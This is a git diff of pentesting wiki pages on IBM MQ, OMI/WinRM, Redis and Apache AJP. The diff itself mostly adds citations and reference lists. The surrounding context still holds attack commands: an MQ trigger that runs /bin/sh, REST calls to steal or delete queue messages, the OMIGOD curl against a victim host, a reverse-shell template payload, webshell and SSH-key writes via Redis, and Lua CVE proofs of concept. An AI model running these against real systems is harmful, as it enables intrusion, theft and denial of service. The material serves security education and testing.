diff --git a/src/network-services-pentesting/1414-pentesting-ibmmq.md b/src/network-services-pentesting/1414-pentesting-ibmmq.md
index 310e8037a30..85c961bacbe 100644
--- a/src/network-services-pentesting/1414-pentesting-ibmmq.md
+++ b/src/network-services-pentesting/1414-pentesting-ibmmq.md
@@ -66,11 +66,11 @@ After, it can be used with `punch-q` command.
## Enumeration
-You can try to enumerate the **queue manager name, the users, the channels and the queues** with **punch-q** or **pymqi**.
+You can try to enumerate the **queue manager name, the users, the channels and the queues** with **punch-q** or **pymqi**.[[1]](#references)[[2]](#references)
-If TCP/1414 is filtered or the target only exposes the embedded web server, check **TCP/9443** too. Recent IBM MQ versions expose the **IBM MQ Console / REST API** there by default when `mqweb` is enabled, and the administrative REST endpoint can execute arbitrary **MQSC** commands if you have valid credentials.
+If TCP/1414 is filtered or the target only exposes the embedded web server, check **TCP/9443** too. Recent IBM MQ versions expose the **IBM MQ Console / REST API** there by default when `mqweb` is enabled, and the administrative REST endpoint can execute arbitrary **MQSC** commands if you have valid credentials.[[4]](#references)
-Do not assume that every successful `mqweb` login unlocks the same surface. In IBM MQ, `MQWebAdmin` / `MQWebAdminRO` cover the **administrative** REST API, but the **messaging** REST API requires `MQWebUser` plus the underlying OAM rights on queues or topics. Also, from **9.4.0**, `mqweb` can run as a **stand-alone IBM MQ Web Server** on Linux: in that deployment the **messaging** REST API can still front remote queue managers while the **administrative** REST API is unavailable. Therefore, a dead or missing `/admin/` path does **not** mean `/messaging/` is absent.
+Do not assume that every successful `mqweb` login unlocks the same surface. In IBM MQ, `MQWebAdmin` / `MQWebAdminRO` cover the **administrative** REST API, but the **messaging** REST API requires `MQWebUser` plus the underlying OAM rights on queues or topics. Also, from **9.4.0**, `mqweb` can run as a **stand-alone IBM MQ Web Server** on Linux: in that deployment the **messaging** REST API can still front remote queue managers while the **administrative** REST API is unavailable. Therefore, a dead or missing `/admin/` path does **not** mean `/messaging/` is absent.[[4]](#references)[[5]](#references)
Do not limit yourself to the administrative REST API. IBM also exposes a **messaging REST API** on the same listener, so valid `mqweb` credentials can be enough to:
@@ -78,7 +78,7 @@ Do not limit yourself to the administrative REST API. IBM also exposes a **messa
- **destructively get** messages with `DELETE /ibmmq/rest/v3/messaging/qmgr//queue//message`
- **put** attacker-controlled messages with `POST /ibmmq/rest/v3/messaging/qmgr//queue//message`
-That matters in real environments where **1414** is ACL-restricted but the web console on **9443** is reachable from jump hosts, VPN ranges, or Kubernetes ingress.
+That matters in real environments where **1414** is ACL-restricted but the web console on **9443** is reachable from jump hosts, VPN ranges, or Kubernetes ingress.[[5]](#references)
### Queue Manager
@@ -267,7 +267,7 @@ Showing queues with prefix: "*"...
### Topics / subscriptions
-IBM MQ is not limited to queues. If the target uses publish/subscribe, an **administrative subscription** is an excellent passive collection primitive: you can route publications matching a topic string into a queue you control, then dump that queue with **punch-q** or the REST API.
+IBM MQ is not limited to queues. If the target uses publish/subscribe, an **administrative subscription** is an excellent passive collection primitive: you can route publications matching a topic string into a queue you control, then dump that queue with **punch-q** or the REST API.[[8]](#references)
Quick recon examples:
@@ -303,7 +303,7 @@ You can target queue(s)/channel(s) to sniff out / dump messages from them (non-d
### Dump / put messages through `9443`
-If you only have access to the embedded web server, the **messaging REST API** can still be enough to browse, steal, replay, or delete business messages without touching the MQ client port.
+If you only have access to the embedded web server, the **messaging REST API** can still be enough to browse, steal, replay, or delete business messages without touching the MQ client port.[[5]](#references)
Browse the next message non-destructively:
@@ -365,9 +365,9 @@ curl -sku 'app:passw0rd' \
>
> _Note: always according to IBM MQ documentation (Administration Reference), there is also an HTTP endpoint at `/admin/action/qmgr/{qmgrName}/mqsc` to run the equivalent MQSC command for service creation (`DEFINE SERVICE`). This aspect is not covered yet here._
-If **MQ Console / REST API** credentials are available, you can often reach the same administrative primitives over HTTPS on **9443** without using the MQ client libraries. IBM documents `/ibmmq/rest/v3/admin/action/qmgr/{qmgrName}/mqsc` as an endpoint that accepts **plain-text MQSC** or **JSON** commands.
+If **MQ Console / REST API** credentials are available, you can often reach the same administrative primitives over HTTPS on **9443** without using the MQ client libraries. IBM documents `/ibmmq/rest/v3/admin/action/qmgr/{qmgrName}/mqsc` as an endpoint that accepts **plain-text MQSC** or **JSON** commands.[[4]](#references)
-The service creation / deletion with PCF for remote program execution can be done by **punch-q**:
+The service creation / deletion with PCF for remote program execution can be done by **punch-q**:[[1]](#references)
**Example 1**
@@ -428,7 +428,7 @@ This is especially useful during assessments where:
- The target team manages IBM MQ mainly through the web console and has forgotten to harden the REST roles
- You want to avoid installing IBM MQ client libraries locally and only need MQSC-level administration
-If the environment uses **token-based** authentication instead of HTTP Basic, IBM's `mqweb` login endpoint returns an **`LtpaToken2`** cookie that can be replayed on later requests until it expires (120 minutes by default). That means a stolen browser session or cookie jar can be enough for both message access and admin actions on `9443`.
+If the environment uses **token-based** authentication instead of HTTP Basic, IBM's `mqweb` login endpoint returns an **`LtpaToken2`** cookie that can be replayed on later requests until it expires (120 minutes by default). That means a stolen browser session or cookie jar can be enough for both message access and admin actions on `9443`.[[6]](#references)
```bash
curl -sk -c /tmp/mq.cookies \
@@ -461,7 +461,7 @@ echo "DEFINE PROCESS(HACKPROC) REPLACE APPLTYPE(UNIX) APPLICID('/bin/sh') USERDA
echo "ALTER QLOCAL(APP.INPUT) PROCESS(HACKPROC) TRIGGER TRIGTYPE(FIRST)" | runmqsc MYQUEUEMGR
```
-Then put a message on `APP.INPUT` with **punch-q** or the messaging REST API to fire the trigger. This primitive depends on a **trigger monitor** actively serving the queue's `INITQ`; when it does, IBM documents that the triggered application runs under the user that started the trigger monitor (or the queue manager, depending on platform / setup).
+Then put a message on `APP.INPUT` with **punch-q** or the messaging REST API to fire the trigger. This primitive depends on a **trigger monitor** actively serving the queue's `INITQ`; when it does, IBM documents that the triggered application runs under the user that started the trigger monitor (or the queue manager, depending on platform / setup).[[9]](#references)
**Example 2**
@@ -561,7 +561,7 @@ sudo docker run -e LICENSE=accept -e MQ_QMGR_NAME=MYQUEUEMGR -p1414:1414 -p9157:
Here, the queue manager name has been set to `MYQUEUEMGR` (variable `MQ_QMGR_NAME`).
-Recent **9.4.x** developer images changed the out-of-the-box behavior:
+Recent **9.4.x** developer images changed the out-of-the-box behavior:[[7]](#references)
- `admin` and `app` are only created if you set their passwords
- IBM documents `MQ_ADMIN_PASSWORD` / `MQ_APP_PASSWORD` as **deprecated** from `9.4.0.0`
@@ -578,7 +578,7 @@ podman run --secret mqAdminPassword --secret mqAppPassword \
--name testing-ibmmq icr.io/ibm-messaging/mq:latest
```
-With the default developer configuration:
+With the default developer configuration:[[7]](#references)
- `DEV.ADMIN.SVRCONN` only allows the `admin` user
- `DEV.APP.SVRCONN` is the application channel and the `app` user is the expected identity
@@ -598,15 +598,15 @@ CONTAINER ID IMAGE COMMAND CRE
## References
-- [mgeeky's gist - "Practical IBM MQ Penetration Testing notes"](https://gist.github.com/mgeeky/2efcd86c62f0fb3f463638911a3e89ec)
-- [MQ Jumping - DEFCON 15](https://defcon.org/images/defcon-15/dc15-presentations/dc-15-ruks.pdf)
-- [IBM MQ documentation](https://www.ibm.com/docs/en/ibm-mq)
-- [IBM MQ REST API: `/admin/action/qmgr/{qmgrName}/mqsc`](https://www.ibm.com/docs/en/ibm-mq/9.4.x?topic=resources-adminactionqmgrqmgrnamemqsc)
-- [IBM MQ messaging REST API](https://www.ibm.com/docs/en/ibm-mq/9.4.x?topic=mq-messaging-using-rest-api)
-- [IBM MQ token-based authentication for the REST API](https://www.ibm.com/docs/en/ibm-mq/9.4.x?topic=security-using-token-based-authentication-rest-api)
-- [IBM MQ container default developer configuration](https://github.com/ibm-messaging/mq-container/blob/master/docs/developer-config.md)
-- [Defining an administrative subscription](https://www.ibm.com/docs/en/ibm-mq/9.4.x?topic=subscriptions-defining-administrative-subscription)
-- [Starting IBM MQ applications using triggers](https://www.ibm.com/docs/en/ibm-mq/9.4.x?topic=queuing-starting-mq-applications-using-triggers)
+- [1] [mgeeky's gist - "Practical IBM MQ Penetration Testing notes"](https://gist.github.com/mgeeky/2efcd86c62f0fb3f463638911a3e89ec)
+- [2] [MQ Jumping - DEFCON 15](https://defcon.org/images/defcon-15/dc15-presentations/dc-15-ruks.pdf)
+- [3] [IBM MQ documentation](https://www.ibm.com/docs/en/ibm-mq)
+- [4] [IBM MQ REST API: `/admin/action/qmgr/{qmgrName}/mqsc`](https://www.ibm.com/docs/en/ibm-mq/9.4.x?topic=resources-adminactionqmgrqmgrnamemqsc)
+- [5] [IBM MQ messaging REST API](https://www.ibm.com/docs/en/ibm-mq/9.4.x?topic=mq-messaging-using-rest-api)
+- [6] [IBM MQ token-based authentication for the REST API](https://www.ibm.com/docs/en/ibm-mq/9.4.x?topic=security-using-token-based-authentication-rest-api)
+- [7] [IBM MQ container default developer configuration](https://github.com/ibm-messaging/mq-container/blob/master/docs/developer-config.md)
+- [8] [Defining an administrative subscription](https://www.ibm.com/docs/en/ibm-mq/9.4.x?topic=subscriptions-defining-administrative-subscription)
+- [9] [Starting IBM MQ applications using triggers](https://www.ibm.com/docs/en/ibm-mq/9.4.x?topic=queuing-starting-mq-applications-using-triggers)
diff --git a/src/network-services-pentesting/5985-5986-pentesting-omi.md b/src/network-services-pentesting/5985-5986-pentesting-omi.md
index 48a1fb55c9c..a5bc4252162 100644
--- a/src/network-services-pentesting/5985-5986-pentesting-omi.md
+++ b/src/network-services-pentesting/5985-5986-pentesting-omi.md
@@ -19,9 +19,9 @@ The process `omiengine` is initiated and listens on all interfaces as root when
### **[CVE-2021-38647 Vulnerability](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-38647)**
-As observed on September 16, Linux servers deployed in Azure with the mentioned services are susceptible due to a vulnerable version of OMI. This vulnerability lies in the OMI server's handling of messages through the `/wsman` endpoint without requiring an Authentication header, incorrectly authorizing the client.
+As observed on September 16, Linux servers deployed in Azure with the mentioned services are susceptible due to a vulnerable version of OMI. This vulnerability lies in the OMI server's handling of messages through the `/wsman` endpoint without requiring an Authentication header, incorrectly authorizing the client.[[2]](#references)
-An attacker can exploit this by sending an "ExecuteShellCommand" SOAP payload without an Authentication header, compelling the server to execute commands with root privileges.
+An attacker can exploit this by sending an "ExecuteShellCommand" SOAP payload without an Authentication header, compelling the server to execute commands with root privileges.[[1]](#references)
```xml
[[1]](#references) Below are examples demonstrating the expected output for a configured target versus an unconfigured one:
- For a target that **is** properly configured, the output will look similar to this:
@@ -52,7 +52,7 @@ The response should contain information about the protocol version and wsmid, si
### Execute a command
-To execute `ipconfig` remotely on a target machine and view its output do:
+To execute `ipconfig` remotely on a target machine and view its output do:[[1]](#references)
```bash
Invoke-Command -computername computer-name.domain.tld -ScriptBlock {ipconfig /all} [-credential DOMAIN\username]
@@ -80,7 +80,7 @@ Invoke-Command -ComputerName -ScriptBlock {cmd /c "powershell -ep
### Get a PS session
-To get an interactive PowerShell shell use `Enter-PSSession`:
+To get an interactive PowerShell shell use `Enter-PSSession`:[[1]](#references)
```bash
#If you need to use different creds
@@ -105,7 +105,7 @@ Exit-PSSession # This will leave it in background if it's inside an env var (New
### **Forcing WinRM Open**
-To use PS Remoting and WinRM but the computer isn't configured, you could enable it with:
+To use PS Remoting and WinRM but the computer isn't configured, you could enable it with:[[1]](#references)
```bash
.\PsExec.exe \\computername -u domain\username -p password -h -d powershell.exe "enable-psremoting -force"
@@ -273,7 +273,7 @@ Mitigations
* Force HTTPS and enable Extended Protection for Authentication (EPA) on recent Windows versions.
### OMIGOD – CVE-2021-38647 (Azure OMI)
-Azure Linux agents use the **Open Management Infrastructure (OMI)** service which exposes the WinRM/WS-MAN API on ports **5985/5986**. A logic error allowed **unauthenticated RCE as root**:
+Azure Linux agents use the **Open Management Infrastructure (OMI)** service which exposes the WinRM/WS-MAN API on ports **5985/5986**.[[3]](#references) A logic error allowed **unauthenticated RCE as root**:
```text
curl http://victim:5985/wsman -H 'Content-Type:text/xml' -d ''
@@ -282,7 +282,7 @@ curl http://victim:5985/wsman -H 'Content-Type:text/xml' -d ''
Patch or remove OMI (version ≥ 1.6.8-1) and block those ports from the Internet.
### WSMan.Automation COM abuse for lateral movement
-WinRM can be driven without PowerShell via the `WSMan.Automation` COM object – useful on systems in Constrained-Language mode. Tools such as *SharpWSManWinRM* wrap this technique:
+WinRM can be driven without PowerShell via the `WSMan.Automation` COM object – useful on systems in Constrained-Language mode. Tools such as *SharpWSManWinRM* wrap this technique:[[2]](#references)
```powershell
$ws = New-Object -ComObject 'WSMan.Automation'
@@ -323,15 +323,6 @@ The execution chain (`svchost → wmiprvse → cmd.exe`) is identical to classic
- `port:5985 Microsoft-HTTPAPI`
-## References
-
-- [https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-3-wmi-and-winrm/](https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-3-wmi-and-winrm/)
-- [https://bohops.com/2020/05/12/ws-management-com-another-approach-for-winrm-lateral-movement/](https://bohops.com/2020/05/12/ws-management-com-another-approach-for-winrm-lateral-movement/)
-- [https://www.wiz.io/blog/omigod-critical-vulnerabilities-in-omi-azure](https://www.wiz.io/blog/omigod-critical-vulnerabilities-in-omi-azure)
-
-
-- [https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-3-wmi-and-winrm/](https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-3-wmi-and-winrm/)
-
## HackTricks Automatic Commands
```
@@ -373,6 +364,12 @@ Entry_2:
+## References
+
+- [1] [Using Credentials to Own Windows Boxes - Part 3 (WMI and WinRM)](https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-3-wmi-and-winrm/)
+- [2] [WS-Management COM: Another Approach for WinRM Lateral Movement](https://bohops.com/2020/05/12/ws-management-com-another-approach-for-winrm-lateral-movement/)
+- [3] [OMIGOD: Critical Vulnerabilities in OMI Affecting Countless Azure Customers](https://www.wiz.io/blog/omigod-critical-vulnerabilities-in-omi-azure)
+
{{#include ../banners/hacktricks-training.md}}
diff --git a/src/network-services-pentesting/6379-pentesting-redis.md b/src/network-services-pentesting/6379-pentesting-redis.md
index d628ddfa126..4791e41bd42 100644
--- a/src/network-services-pentesting/6379-pentesting-redis.md
+++ b/src/network-services-pentesting/6379-pentesting-redis.md
@@ -49,7 +49,7 @@ In this last case, this means that **you need valid credentials** to access the
**By default** Redis can be accessed **without credentials**. However, it can be **configured** to support **only password, or username + password**.\
It is possible to **set a password** for the **default** user in _**redis.conf**_ with the parameter `requirepass` **or temporarily** until the service restarts by connecting to it and running: `config set requirepass p@ss$12E45`.\
-In **Redis 6+**, extra users are usually created with **ACLs** (`ACL SETUSER ...`) or loaded from an **aclfile**. The parameter **`masteruser` is for replica-to-master authentication**, not for normal client logins.
+In **Redis 6+**, extra users are usually created with **ACLs** (`ACL SETUSER ...`) or loaded from an **aclfile**. The parameter **`masteruser` is for replica-to-master authentication**, not for normal client logins.[[12]](#references)
> [!TIP]
> If only password is configured the username used is usually "**default**".\
@@ -168,7 +168,7 @@ DUMP
### Modern hardening caveat (Redis 7+)
-The classic **`CONFIG SET dir/dbfilename` + `SAVE`** tricks and **`MODULE LOAD`** chains still work in **older Redis** and are common in labs/CTFs, but **newer Redis ships with extra hardening**:
+The classic **`CONFIG SET dir/dbfilename` + `SAVE`** tricks and **`MODULE LOAD`** chains still work in **older Redis** and are common in labs/CTFs, but **newer Redis ships with extra hardening**:[[13]](#references)
- Configs that control where Redis writes files (for example **`dir`** and **`dbfilename`**) are **protected/immutable by default**.
- **`MODULE LOAD`** is **disabled by default** unless **`enable-module-command`** was explicitly enabled in `redis.conf`.
@@ -187,7 +187,7 @@ If direct remote access cannot use those primitives but an **SSRF can talk to `1
### PHP Webshell
-Info from [**here**](https://web.archive.org/web/20191201022931/http://reverse-tcp.xyz/pentest/database/2017/02/09/Redis-Hacking-Tips.html). You must know the **path** of the **Web site folder**:
+Info from [**here**](https://web.archive.org/web/20191201022931/http://reverse-tcp.xyz/pentest/database/2017/02/09/Redis-Hacking-Tips.html). You must know the **path** of the **Web site folder**:[[14]](#references)
```
root@Urahara:~# redis-cli -h 10.85.0.52
@@ -207,7 +207,7 @@ OK
Like in the previous section you could also overwrite some html template file that is going to be interpreted by a template engine and obtain a shell.
-For example, following [**this writeup**](https://www.neteye-blog.com/2022/05/cyber-apocalypse-ctf-2022-red-island-writeup/), you can see that the attacker injected a **rev shell in an html** interpreted by the **nunjucks template engine:**
+For example, following [**this writeup**](https://www.neteye-blog.com/2022/05/cyber-apocalypse-ctf-2022-red-island-writeup/), you can see that the attacker injected a **rev shell in an html** interpreted by the **nunjucks template engine:**[[15]](#references)
```javascript
{{ ({}).constructor.constructor(
@@ -228,7 +228,7 @@ For example, following [**this writeup**](https://www.neteye-blog.com/2022/05/cy
### SSH
-Example [from here](https://blog.adithyanak.com/oscp-preparation-guide/enumeration)
+Example [from here](https://blog.adithyanak.com/oscp-preparation-guide/enumeration)[[16]](#references)
Please be aware **`config get dir`** result can be changed after other manually exploit commands. Suggest to run it first right after login into Redis. In the output of **`config get dir`** you could find the **home** of the **redis user** (usually _/var/lib/redis_ or _/home/redis/.ssh_), and knowing this you know where you can write the `authorized_keys` file to access via ssh **with the user redis**. If you know the home of other valid user where you have writable permissions you can also abuse it:
@@ -290,7 +290,7 @@ This method can also be used to earn bitcoin ：[yam](https://www.v2ex.com/t/286
### LUA sandbox bypass
-[**Here**](https://www.agarri.fr/blog/archives/2014/09/11/trying_to_hack_redis_via_http_requests/index.html) you can see that Redis uses the command **EVAL** to execute **Lua code sandboxed**. In the linked post you can see **how to abuse it** using the **dofile** function, but [apparently](https://stackoverflow.com/questions/43502696/redis-cli-code-execution-using-eval) this isn't no longer possible. Anyway, if you can **bypass the Lua** sandbox you could **execute arbitrary** commands on the system. Also, from the same post you can see some **options to cause DoS**.
+[**Here**](https://www.agarri.fr/blog/archives/2014/09/11/trying_to_hack_redis_via_http_requests/index.html) you can see that Redis uses the command **EVAL** to execute **Lua code sandboxed**. In the linked post you can see **how to abuse it** using the **dofile** function, but [apparently](https://stackoverflow.com/questions/43502696/redis-cli-code-execution-using-eval) this isn't no longer possible. Anyway, if you can **bypass the Lua** sandbox you could **execute arbitrary** commands on the system. Also, from the same post you can see some **options to cause DoS**.[[17]](#references)
Some **CVEs to escape from LUA**:
@@ -298,7 +298,7 @@ Some **CVEs to escape from LUA**:
#### Redis Lua Scripting Engine: Sandbox Escapes & Memory Corruption (CVE-2025-49844/46817/46818)
-Recent Redis releases fixed multiple issues in the embedded Lua engine that allow sandbox escape, memory corruption and cross-user code execution. These techniques apply when:
+Recent Redis releases fixed multiple issues in the embedded Lua engine that allow sandbox escape, memory corruption and cross-user code execution.[[1]](#references)[[5]](#references) These techniques apply when:
- Attacker can authenticate to Redis and Lua is enabled (EVAL/EVALSHA or FUNCTION are usable)
- Redis version is older than 8.2.2, 8.0.4, 7.4.6, 7.2.11, or 6.2.20
@@ -313,7 +313,7 @@ Tip: If you are new to Lua sandboxing tricks, check this page for general techni
- Affected when Lua scripting is enabled and the above versions are not applied
**CVE-2025-49844 — GC-timed Use-After-Free in Lua parser (`lparser.c: luaY_parser`)**
-- Idea: Force garbage collection while the parser still references a freshly-inserted TString. When GC reclaims it, the parser uses a freed pointer (UAF) → crash/DoS and potential native code execution outside the Lua sandbox.
+- Idea: Force garbage collection while the parser still references a freshly-inserted TString. When GC reclaims it, the parser uses a freed pointer (UAF) → crash/DoS and potential native code execution outside the Lua sandbox.[[2]](#references)[[6]](#references)
- Trigger strategy:
1) Create memory pressure with huge strings to encourage GC activity
2) Explicitly run GC while a large source chunk is being compiled
@@ -335,7 +335,7 @@ Notes:
- From exploitation to RCE requires memory grooming and native code pivoting beyond the Redis Lua sandbox.
**CVE-2025-46817 — Integer overflow in unpack (`lbaselib.c: luaB_unpack`)**
-- Root cause: The count `n = e - i + 1` is computed without unsigned casts, so extreme indices wrap, making Lua attempt to unpack far more elements than exist → stack corruption and memory exhaustion.
+- Root cause: The count `n = e - i + 1` is computed without unsigned casts, so extreme indices wrap, making Lua attempt to unpack far more elements than exist → stack corruption and memory exhaustion.[[3]](#references)[[7]](#references)
- PoC (DoS/mem exhaustion):
```bash
redis-cli -h -p 6379 -a EVAL "return unpack({'a','b','c'}, -1, 2147483647)" 0
@@ -343,7 +343,7 @@ redis-cli -h -p 6379 -a EVAL "return unpack({'a','b','c'}, -1,
- Expect the server to try returning an enormous number of values and eventually crash or OOM.
**CVE-2025-46818 — Cross-user privilege escalation via basic type metatables**
-- Root cause: On engine initialization, metatables for basic types (e.g., strings, booleans) weren’t set read-only. Any authenticated user can poison them to inject methods other users might call later.
+- Root cause: On engine initialization, metatables for basic types (e.g., strings, booleans) weren’t set read-only. Any authenticated user can poison them to inject methods other users might call later.[[4]](#references)[[8]](#references)
- Example (string metatable poisoning):
```bash
# Inject a method on strings and then exercise it
@@ -361,7 +361,7 @@ return ('teststring').testfunc()" 0
#### Redis Functions + Replication Reentrancy UAF (DarkReplica / CVE-2026-23631)
-A different Redis Lua attack surface exists in the **functions engine** (`FUNCTION LOAD` / `FCALL`), not only in classic `EVAL`. In vulnerable releases, a **long-running function** can time out, enter the slow-script path, and temporarily call `processEventsWhileBlocked()`. Redis blocks most normal client commands during this state, but **replication I/O from the master is still processed**.
+A different Redis Lua attack surface exists in the **functions engine** (`FUNCTION LOAD` / `FCALL`), not only in classic `EVAL`. In vulnerable releases, a **long-running function** can time out, enter the slow-script path, and temporarily call `processEventsWhileBlocked()`. Redis blocks most normal client commands during this state, but **replication I/O from the master is still processed**.[[9]](#references)[[10]](#references)
If you can authenticate, run Redis functions, and repoint the instance to an **attacker-controlled master**, a malicious `FULLRESYNC` can free the active functions Lua engine **while execution later resumes inside it**:
@@ -391,7 +391,7 @@ redis-cli -h -a FCALL hoax 0
- Fake Lua `Table` objects can turn `Table->array` into an arbitrary `TValue` read/write primitive once the attacker stabilizes execution in a clean coroutine.
- A practical RCE pivot is to overwrite `lua_State->l_G->frealloc` (Lua allocator callback) after recovering arbitrary read/write.
-**Version context:** fixed on **May 5, 2026** in `7.2.14`, `7.4.9`, `8.2.6`, `8.4.3`, and `8.6.3`. This path is **post-auth**, but especially relevant when dangerous admin commands are exposed to weak ACL users.
+**Version context:** fixed on **May 5, 2026** in `7.2.14`, `7.4.9`, `8.2.6`, `8.4.3`, and `8.6.3`.[[11]](#references) This path is **post-auth**, but especially relevant when dangerous admin commands are exposed to weak ACL users.
**Good telemetry / review points:**
- `FUNCTION LOAD`, `FCALL`, `FUNCTION KILL`, `REPLICAOF` / `SLAVEOF`, and `CONFIG SET replica-read-only no`
@@ -432,7 +432,7 @@ Therefore, if you find a **SSRF vuln** in a website and you can **control** some
### Example: Gitlab SSRF + CRLF to Shell
-In **Gitlab11.4.7** were discovered a **SSRF** vulnerability and a **CRLF**. The **SSRF** vulnerability was in the **import project from URL functionality** when creating a new project and allowed to access arbitrary IPs in the form \[0:0:0:0:0:ffff:127.0.0.1] (this will access 127.0.0.1), and the **CRLF** vuln was exploited just **adding %0D%0A** characters to the **URL**.
+In **Gitlab11.4.7** were discovered a **SSRF** vulnerability and a **CRLF**.[[18]](#references) The **SSRF** vulnerability was in the **import project from URL functionality** when creating a new project and allowed to access arbitrary IPs in the form \[0:0:0:0:0:ffff:127.0.0.1] (this will access 127.0.0.1), and the **CRLF** vuln was exploited just **adding %0D%0A** characters to the **URL**.
Therefore, it was possible to **abuse these vulnerabilities to talk to the Redis instance** that **manages queues** from **gitlab** and abuse those queues to **obtain code execution**. The Redis queue abuse payload is:
@@ -453,19 +453,24 @@ _For some reason (as for the author of_ [_https://liveoverflow.com/gitlab-11-4-7
## References
-- [Recent Vulnerabilities in Redis Server’s Lua Scripting Engine (OffSec)](https://www.offsec.com/blog/recent-vulnerabilities-in-redis-servers-lua-scripting-engine/)
-- [NVD: CVE-2025-49844](https://nvd.nist.gov/vuln/detail/CVE-2025-49844)
-- [NVD: CVE-2025-46817](https://nvd.nist.gov/vuln/detail/CVE-2025-46817)
-- [NVD: CVE-2025-46818](https://nvd.nist.gov/vuln/detail/CVE-2025-46818)
-- [Wiz analysis of Redis RCE (CVE-2025-49844)](https://www.wiz.io/blog/wiz-research-redis-rce-cve-2025-49844)
-- [PoC: CVE-2025-49844 — Lua parser UAF](https://github.com/dwisiswant0/CVE-2025-49844)
-- [PoC: CVE-2025-46817 — unpack integer overflow](https://github.com/dwisiswant0/CVE-2025-46817)
-- [PoC: CVE-2025-46818 — basic-type metatable abuse](https://github.com/dwisiswant0/CVE-2025-46818)
-- [ZeroDay.Cloud — DarkReplica (CVE-2026-23631): Redis Use-After-Free Leads to Post-Auth RCE](https://www.zeroday.cloud/blog/redis-cve-2026-23631-dark-replica)
-- [DarkReplica exploit repository](https://github.com/yoyosh/DarkReplica)
-- [Redis releases (7.2.14 / 7.4.9 and later security fixes)](https://github.com/redis/redis/releases)
-- [Redis ACL documentation](https://redis.io/docs/latest/operate/oss_and_stack/management/security/acl/)
-- [Redis configuration file example (`enable-protected-configs` / `enable-module-command`)](https://download.redis.io/redis-stable/redis.conf)
+- [1] [Recent Vulnerabilities in Redis Server’s Lua Scripting Engine (OffSec)](https://www.offsec.com/blog/recent-vulnerabilities-in-redis-servers-lua-scripting-engine/)
+- [2] [NVD: CVE-2025-49844](https://nvd.nist.gov/vuln/detail/CVE-2025-49844)
+- [3] [NVD: CVE-2025-46817](https://nvd.nist.gov/vuln/detail/CVE-2025-46817)
+- [4] [NVD: CVE-2025-46818](https://nvd.nist.gov/vuln/detail/CVE-2025-46818)
+- [5] [Wiz analysis of Redis RCE (CVE-2025-49844)](https://www.wiz.io/blog/wiz-research-redis-rce-cve-2025-49844)
+- [6] [PoC: CVE-2025-49844 — Lua parser UAF](https://github.com/dwisiswant0/CVE-2025-49844)
+- [7] [PoC: CVE-2025-46817 — unpack integer overflow](https://github.com/dwisiswant0/CVE-2025-46817)
+- [8] [PoC: CVE-2025-46818 — basic-type metatable abuse](https://github.com/dwisiswant0/CVE-2025-46818)
+- [9] [ZeroDay.Cloud — DarkReplica (CVE-2026-23631): Redis Use-After-Free Leads to Post-Auth RCE](https://www.zeroday.cloud/blog/redis-cve-2026-23631-dark-replica)
+- [10] [DarkReplica exploit repository](https://github.com/yoyosh/DarkReplica)
+- [11] [Redis releases (7.2.14 / 7.4.9 and later security fixes)](https://github.com/redis/redis/releases)
+- [12] [Redis ACL documentation](https://redis.io/docs/latest/operate/oss_and_stack/management/security/acl/)
+- [13] [Redis configuration file example (`enable-protected-configs` / `enable-module-command`)](https://download.redis.io/redis-stable/redis.conf)
+- [14] [Redis Hacking Tips (reverse-tcp.xyz, via Wayback Machine)](https://web.archive.org/web/20191201022931/http://reverse-tcp.xyz/pentest/database/2017/02/09/Redis-Hacking-Tips.html)
+- [15] [Cyber Apocalypse CTF 2022: Red Island writeup (NetEye Blog)](https://www.neteye-blog.com/2022/05/cyber-apocalypse-ctf-2022-red-island-writeup/)
+- [16] [OSCP Preparation Guide - Enumeration (adithyanak)](https://blog.adithyanak.com/oscp-preparation-guide/enumeration)
+- [17] [Trying to hack Redis via HTTP requests (Agarri)](https://www.agarri.fr/blog/archives/2014/09/11/trying_to_hack_redis_via_http_requests/index.html)
+- [18] [GitLab 11.4.7 Remote Code Execution - Real World CTF 2018 (LiveOverflow)](https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018/)
{{#include ../banners/hacktricks-training.md}}
diff --git a/src/network-services-pentesting/8009-pentesting-apache-jserv-protocol-ajp.md b/src/network-services-pentesting/8009-pentesting-apache-jserv-protocol-ajp.md
index a0e8e6b00c4..9e5c36626b0 100644
--- a/src/network-services-pentesting/8009-pentesting-apache-jserv-protocol-ajp.md
+++ b/src/network-services-pentesting/8009-pentesting-apache-jserv-protocol-ajp.md
@@ -4,7 +4,7 @@
## Basic Information
-From [https://diablohorn.com/2011/10/19/8009-the-forgotten-tomcat-port/](https://diablohorn.com/2011/10/19/8009-the-forgotten-tomcat-port/)
+From [https://diablohorn.com/2011/10/19/8009-the-forgotten-tomcat-port/](https://diablohorn.com/2011/10/19/8009-the-forgotten-tomcat-port/)[[3]](#references)
> AJP is a wire protocol. It an optimized version of the HTTP protocol to allow a standalone web server such as [Apache](http://httpd.apache.org/) to talk to Tomcat. Historically, Apache has been much faster than Tomcat at serving static content. The idea is to let Apache serve the static content when possible, but proxy the request to Tomcat for Tomcat related content.
@@ -19,11 +19,11 @@ PORT STATE SERVICE
8009/tcp open ajp13
```
-AJP is usually more interesting than plain HTTP because the backend **trusts the proxy** to set internal request metadata. In modern Tomcat, pay special attention to the connector attributes `address`, `secret`, `secretRequired`, and `allowedRequestAttributesPattern` when reviewing an exposed or reachable AJP service.
+AJP is usually more interesting than plain HTTP because the backend **trusts the proxy** to set internal request metadata. In modern Tomcat, pay special attention to the connector attributes `address`, `secret`, `secretRequired`, and `allowedRequestAttributesPattern` when reviewing an exposed or reachable AJP service.[[1]](#references)
## CVE-2020-1938 ['Ghostcat'](https://www.chaitin.cn/en/ghostcat)
-This is an LFI vuln which allows to get some files like `WEB-INF/web.xml` which contains credentials. This is an [exploit](https://www.exploit-db.com/exploits/48143) to abuse the vulnerability and AJP exposed ports might be vulnerable to it.
+This is an LFI vuln which allows to get some files like `WEB-INF/web.xml` which contains credentials. This is an [exploit](https://www.exploit-db.com/exploits/48143) to abuse the vulnerability and AJP exposed ports might be vulnerable to it.[[4]](#references)
The patched versions are at or above 9.0.31, 8.5.51, and 7.0.100.
@@ -49,7 +49,7 @@ nmap -p 8009 --script ajp-headers,ajp-methods \
### Manual / Protocol-Aware Tooling
